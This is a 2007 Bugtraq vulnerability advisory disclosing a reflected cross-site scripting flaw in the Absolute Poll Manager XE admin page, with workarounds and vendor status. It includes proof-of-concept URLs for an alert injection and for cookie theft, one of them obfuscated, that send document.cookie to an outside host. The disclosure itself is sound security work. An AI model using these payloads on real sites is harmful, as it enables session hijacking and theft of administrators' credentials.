bugtraq - PR07-23: Non-persistent Cross-site Scripting (XSS) on Absolute Poll Manager XE admin page

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20070830102726.16020.qmail@securityfocus.com>
Date: 30 Aug 2007 10:27:26 -0000
From: research@...checkup.com
To: bugtraq@...urityfocus.com
Subject: PR07-23: Non-persistent Cross-site Scripting (XSS) on Absolute
 Poll Manager XE admin page

Date Found: 10th April 2007

Vendor informed: 4th July 2007

Successfully tested on: Absolute Poll Manager XE - Version 4.1. Earlier versions are possibly affected as well but have NOT been tested.

Description: Absolute Poll Manager XE is vulnerable to a vanilla XSS within the "/AbsolutePollManager/xlaapmview.asp" server-side script and "msg" parameter.

No authentication is required to exploit this vulnerability

Consequences: An attacker may be able to cause execution of malicious scripting code in the browser of a polls management user who clicks on a link to a site managed by Absolute Poll Manager. Such code would run within the context of the target domain.

This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: session IDs) to unauthorised third parties.

XSS Proof of concept (PoC) URLs:

Alert box injection -

http://target-domain.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=<script>alert("running+code+within+the+context+of+"%2bdocument.domain)</script>

Cookie theft (could be used in session hijacking attacks) - 

http://target-domain.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=<script>location="http://procheckup.com/?"%2bdocument.cookie</script>

or partially obfuscated - 

http://target-domain.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=%3cscript%3elocation=%22http%3a//proch%65ckup%2ecom/?%22%2bdocument.cookie%3c/script%3e& 

Successfully tested on:

Web server environment - 

Microsoft IIS 5.0
Absolute Poll Manager XE - Version 4.1

Severity: Medium/High

Authors: Richard Brain and Adrian Pastor of ProCheckUp Ltd (http://www.procheckup.com/)

Vendor URL: http://www.xigla.com/

Product URL: http://www.xigla.com/absolutepm/

Fix: The yet-to-be released .NET version of Absolute Poll Manager XE will fix this issue. 

For the moment, any of the following workarounds can be applied in order to fix the XSS issue:

1. Password protect the Absolute Poll Manager admin console directory ('/absolutepm/')
2. Restrict access to Absolute Poll Manager admin console directory from trusted IP addresses only

ProCheckUp thanks Xigla Software for working with us.

Legal:

Copyright 2007 Procheckup Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes.

Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.